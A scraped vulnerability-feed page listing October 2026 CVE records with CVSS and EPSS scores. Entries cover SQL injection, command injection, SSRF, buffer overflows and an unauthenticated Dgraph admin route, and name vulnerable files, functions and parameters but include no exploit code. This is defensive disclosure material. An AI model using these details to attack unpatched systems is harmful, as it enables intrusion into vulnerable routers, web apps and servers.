FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109520&date=2026-10-25
A flaw has been found in Colorful iGameCenter 2.0.0.82. Affected by this vulnerability is the function MmMapIoSpace in the library AMDRyzenMasterDriver.sys of the component Dispatch Handler. This manipulation of the argument SystemBuffer causes privilege defined with unsafe actions. The attack needs to be launched locally. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in conductor-oss conductor up to 3.32.5. Affected by this vulnerability is the function A2AService.getAgentCard of the file...
https://kevwire.com/record/CVE-2026-109403
A vulnerability was determined in conductor-oss conductor up to 3.32.5. Affected by this vulnerability is the function A2AService.getAgentCard of the file... (Oct 13, 2026).
A vulnerability was determined in conductor-oss conductor up to 3.32.5. Affected by this vulnerability is the function A2AService.getAgentCard of the file ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java of the component Agent Card Fetching. Executing a manipulation of the argument agentUrl can lead to server-side request forgery. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.
CVSS 5.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109403).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109403&date=2026-10-25).
Sources:
NVD CVE-2026-109403: https://nvd.nist.gov/vuln/detail/CVE-2026-109403
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109403&date=2026-10-25
A vulnerability was determined in conductor-oss conductor up to 3.32.5. Affected by this vulnerability is the function A2AService.getAgentCard of the file ai/src/main/java/org/conductoross/conductor/ai/a2a/A2AService.java of the component Agent Card Fetching. Executing a manipulation of the argument agentUrl can lead to server-side request forgery. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Wavlink WL-WN592AX6 250422. This issue affects the function system of the component wmapd Daemon.
https://kevwire.com/record/CVE-2026-109110
A flaw has been found in Wavlink WL-WN592AX6 250422. This issue affects the function system of the component wmapd Daemon. (Oct 13, 2026).
A flaw has been found in Wavlink WL-WN592AX6 250422. This issue affects the function system of the component wmapd Daemon. Executing a manipulation can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109110).
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109110&date=2026-10-25).
Sources:
NVD CVE-2026-109110: https://nvd.nist.gov/vuln/detail/CVE-2026-109110
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109110&date=2026-10-25
A flaw has been found in Wavlink WL-WN592AX6 250422. This issue affects the function system of the component wmapd Daemon. Executing a manipulation can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in SourceCodester Human Resource Management System 1.0. Affected by this vulnerability is the function session_start of the file controller/employee.php...
https://kevwire.com/record/CVE-2026-108972
A vulnerability was found in SourceCodester Human Resource Management System 1.0. Affected by this vulnerability is the function session_start of the file controller/employee.php... (Oct 13, 2026).
A vulnerability was found in SourceCodester Human Resource Management System 1.0. Affected by this vulnerability is the function session_start of the file controller/employee.php of the component Employee Endpoint. The manipulation of the argument role/pfimg/EmpId results in improper authentication. It is possible to launch the attack remotely. The exploit has been made public and could be used.
CVSS 5.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108972).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108972&date=2026-10-25).
Sources:
NVD CVE-2026-108972: https://nvd.nist.gov/vuln/detail/CVE-2026-108972
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108972&date=2026-10-25
A vulnerability was found in SourceCodester Human Resource Management System 1.0. Affected by this vulnerability is the function session_start of the file controller/employee.php of the component Employee Endpoint. The manipulation of the argument role/pfimg/EmpId results in improper authentication. It is possible to launch the attack remotely. The exploit has been made public and could be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in SourceCodester Performance Indicator System 1.0. The affected element is an unknown function of the file /opils/staff/sales_history.php.
https://kevwire.com/record/CVE-2026-108968
A weakness has been identified in SourceCodester Performance Indicator System 1.0. The affected element is an unknown function of the file /opils/staff/sales_history.php. (Oct 13, 2026).
A weakness has been identified in SourceCodester Performance Indicator System 1.0. The affected element is an unknown function of the file /opils/staff/sales_history.php. This manipulation of the argument ID causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.
CVSS 5.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108968).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108968&date=2026-10-25).
Sources:
NVD CVE-2026-108968: https://nvd.nist.gov/vuln/detail/CVE-2026-108968
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108968&date=2026-10-25
A weakness has been identified in SourceCodester Performance Indicator System 1.0. The affected element is an unknown function of the file /opils/staff/sales_history.php. This manipulation of the argument ID causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/admin/addproduct.php.
https://kevwire.com/record/CVE-2026-108964
A vulnerability was found in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/admin/addproduct.php. (Oct 13, 2026).
A vulnerability was found in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/admin/addproduct.php. Performing a manipulation of the argument prodcategory results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used.
CVSS 5.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108964).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108964&date=2026-10-25).
Sources:
NVD CVE-2026-108964: https://nvd.nist.gov/vuln/detail/CVE-2026-108964
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108964&date=2026-10-25
A vulnerability was found in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/admin/addproduct.php. Performing a manipulation of the argument prodcategory results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in PaddlePaddle PaddleX up to 3.7.2. Affected by this vulnerability is the function NormalizeImage.__init__ of the file...
https://kevwire.com/record/CVE-2026-108961
A flaw has been found in PaddlePaddle PaddleX up to 3.7.2. Affected by this vulnerability is the function NormalizeImage.__init__ of the file... (Oct 13, 2026).
A flaw has been found in PaddlePaddle PaddleX up to 3.7.2. Affected by this vulnerability is the function NormalizeImage.__init__ of the file paddlex/inference/models/text_detection/processors.py of the component Preprocessor. This manipulation of the argument scale causes code injection. It is possible to initiate the attack remotely. The pull request to fix this issue awaits acceptance.
CVSS 5.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108961).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108961&date=2026-10-25).
Sources:
NVD CVE-2026-108961: https://nvd.nist.gov/vuln/detail/CVE-2026-108961
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108961&date=2026-10-25
A flaw has been found in PaddlePaddle PaddleX up to 3.7.2. Affected by this vulnerability is the function NormalizeImage.__init__ of the file paddlex/inference/models/text_detection/processors.py of the component Preprocessor. This manipulation of the argument scale causes code injection. It is possible to initiate the attack remotely. The pull request to fix this issue awaits acceptance.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in Edimax BR-6208AC 1.32. This vulnerability affects unknown code of the file /goform/formAccept.
https://kevwire.com/record/CVE-2026-108916
A vulnerability was found in Edimax BR-6208AC 1.32. This vulnerability affects unknown code of the file /goform/formAccept. (Oct 12, 2026).
A vulnerability was found in Edimax BR-6208AC 1.32. This vulnerability affects unknown code of the file /goform/formAccept. Performing a manipulation of the argument submit-url results in command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 5.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108916).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108916&date=2026-10-25).
Sources:
NVD CVE-2026-108916: https://nvd.nist.gov/vuln/detail/CVE-2026-108916
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108916&date=2026-10-25
A vulnerability was found in Edimax BR-6208AC 1.32. This vulnerability affects unknown code of the file /goform/formAccept. Performing a manipulation of the argument submit-url results in command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in Exponent CMS up to 3.0.2patch2. Affected is the function userLogin of the file xmlrpc.php of the component XML-RPC.
https://kevwire.com/record/CVE-2026-108900
A vulnerability has been found in Exponent CMS up to 3.0.2patch2. Affected is the function userLogin of the file xmlrpc.php of the component XML-RPC. (Oct 12, 2026).
A vulnerability has been found in Exponent CMS up to 3.0.2patch2. Affected is the function userLogin of the file xmlrpc.php of the component XML-RPC. Such manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108900).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108900&date=2026-10-25).
Sources:
NVD CVE-2026-108900: https://nvd.nist.gov/vuln/detail/CVE-2026-108900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108900&date=2026-10-25
A vulnerability has been found in Exponent CMS up to 3.0.2patch2. Affected is the function userLogin of the file xmlrpc.php of the component XML-RPC. Such manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70282
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70282).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70282&date=2026-10-25).
Sources:
NVD CVE-2026-70282: https://nvd.nist.gov/vuln/detail/CVE-2026-70282
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70282
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70282&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in Linksys E1700 1.0.0.4.003. This affects the function setLinksysIpv6 of the file /goform/setLinksysIpv6.
https://kevwire.com/record/CVE-2026-108896
A vulnerability was found in Linksys E1700 1.0.0.4.003. This affects the function setLinksysIpv6 of the file /goform/setLinksysIpv6. (Oct 12, 2026).
A vulnerability was found in Linksys E1700 1.0.0.4.003. This affects the function setLinksysIpv6 of the file /goform/setLinksysIpv6. The manipulation of the argument _6rd_prefix/_6rd_prefix_len results in os command injection. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108896).
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108896&date=2026-10-25).
Sources:
NVD CVE-2026-108896: https://nvd.nist.gov/vuln/detail/CVE-2026-108896
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108896&date=2026-10-25
A vulnerability was found in Linksys E1700 1.0.0.4.003. This affects the function setLinksysIpv6 of the file /goform/setLinksysIpv6. The manipulation of the argument _6rd_prefix/_6rd_prefix_len results in os command injection. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in Linksys E1700 1.0.0.4.003. This vulnerability affects the function ssid1MACFilter of the file /goform/ssid1MACFilter of the component Mac Filter.
https://kevwire.com/record/CVE-2026-108892
A vulnerability was determined in Linksys E1700 1.0.0.4.003. This vulnerability affects the function ssid1MACFilter of the file /goform/ssid1MACFilter of the component Mac Filter. (Oct 12, 2026).
A vulnerability was determined in Linksys E1700 1.0.0.4.003. This vulnerability affects the function ssid1MACFilter of the file /goform/ssid1MACFilter of the component Mac Filter. This manipulation of the argument newap_text_%d causes stack-based buffer overflow. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108892).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108892&date=2026-10-25).
Sources:
NVD CVE-2026-108892: https://nvd.nist.gov/vuln/detail/CVE-2026-108892
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108892&date=2026-10-25
A vulnerability was determined in Linksys E1700 1.0.0.4.003. This vulnerability affects the function ssid1MACFilter of the file /goform/ssid1MACFilter of the component Mac Filter. This manipulation of the argument newap_text_%d causes stack-based buffer overflow. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Webnus Modern Events Calendar Lite modern-events-calendar-lite allows Blind...
https://kevwire.com/record/CVE-2026-105067
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Webnus Modern Events Calendar Lite modern-events-calendar-lite allows Blind... (Oct 14, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Webnus Modern Events Calendar Lite modern-events-calendar-lite allows Blind SQL Injection.This issue affects Modern Events Calendar Lite: from n/a before 7.37.0.
CVSS 8.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105067).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105067&date=2026-10-25).
Sources:
NVD CVE-2026-105067: https://nvd.nist.gov/vuln/detail/CVE-2026-105067
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105067&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Webnus Modern Events Calendar Lite modern-events-calendar-lite allows Blind SQL Injection.This issue affects Modern Events Calendar Lite: from n/a before 7.37.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DataEase is an open source data visualization and analysis tool.
https://kevwire.com/record/CVE-2026-104143
DataEase is an open source data visualization and analysis tool. (Oct 14, 2026).
DataEase is an open source data visualization and analysis tool. Prior to 2.10.26, authenticated users can store a crafted custom dateFormat for a dataset field. DatasetTableFieldDTO.dateFormat is inserted without validation into date conversion templates used by Dimension2SQLObj, CustomWhere2Str, Field2SQLObj, WhereTree2Str, and ExtWhere2Str. When a chart renders the field on a cross-datasource dataset, Calcite parsing is bypassed and the crafted format can directly alter the generated SQL. On a single-datasource dataset, exploitation additionally requires the payload to survive Calcite reserialization as a valid string literal. Successful exploitation can compromise the confidentiality, integrity, and availability of the backend database. This issue is fixed in version 2.10.26.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104143).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104143&date=2026-10-25).
Sources:
NVD CVE-2026-104143: https://nvd.nist.gov/vuln/detail/CVE-2026-104143
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104143&date=2026-10-25
DataEase is an open source data visualization and analysis tool. Prior to 2.10.26, authenticated users can store a crafted custom dateFormat for a dataset field. DatasetTableFieldDTO.dateFormat is inserted without validation into date conversion templates used by Dimension2SQLObj, CustomWhere2Str, Field2SQLObj, WhereTree2Str, and ExtWhere2Str. When a chart renders the field on a cross-datasource dataset, Calcite parsing is bypassed and the crafted format can directly alter the generated SQL. On a single-datasource dataset, exploitation additionally requires the payload to survive Calcite reserialization as a valid string literal. Successful exploitation can compromise the confidentiality, integrity, and availability of the backend database. This issue is fixed in version 2.10.26.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dgraph is an open source distributed GraphQL database.
https://kevwire.com/record/CVE-2026-102748
Dgraph is an open source distributed GraphQL database. (Oct 14, 2026).
Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102748).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102748&date=2026-10-25).
Sources:
NVD CVE-2026-102748: https://nvd.nist.gov/vuln/detail/CVE-2026-102748
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102748&date=2026-10-25
Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97012
Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97012).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97012&date=2026-10-25).
Sources:
NVD CVE-2026-97012: https://nvd.nist.gov/vuln/detail/CVE-2026-97012
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97012
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97012&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97016
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97016).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97016&date=2026-10-25).
Sources:
NVD CVE-2026-97016: https://nvd.nist.gov/vuln/detail/CVE-2026-97016
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97016
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97016&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97749
Double free in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Double free in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97749).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97749&date=2026-10-25).
Sources:
NVD CVE-2026-97749: https://nvd.nist.gov/vuln/detail/CVE-2026-97749
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97749
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97749&date=2026-10-25
Double free in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 may use cleartext transport for certain cluster-management communications.
https://kevwire.com/record/CVE-2026-85973
Progress MarkLogic Server 12.x releases before 12.1.0 may use cleartext transport for certain cluster-management communications. (Oct 12, 2026).
Progress MarkLogic Server 12.x releases before 12.1.0 may use cleartext transport for certain cluster-management communications. A network-positioned attacker could intercept or modify information transmitted through an affected connection.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85973).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85973&date=2026-10-25).
Sources:
NVD CVE-2026-85973: https://nvd.nist.gov/vuln/detail/CVE-2026-85973
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85973&date=2026-10-25
Progress MarkLogic Server 12.x releases before 12.1.0 may use cleartext transport for certain cluster-management communications. A network-positioned attacker could intercept or modify information transmitted through an affected connection.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 do not consistently validate TLS certificate hostnames for certain outbound connections.
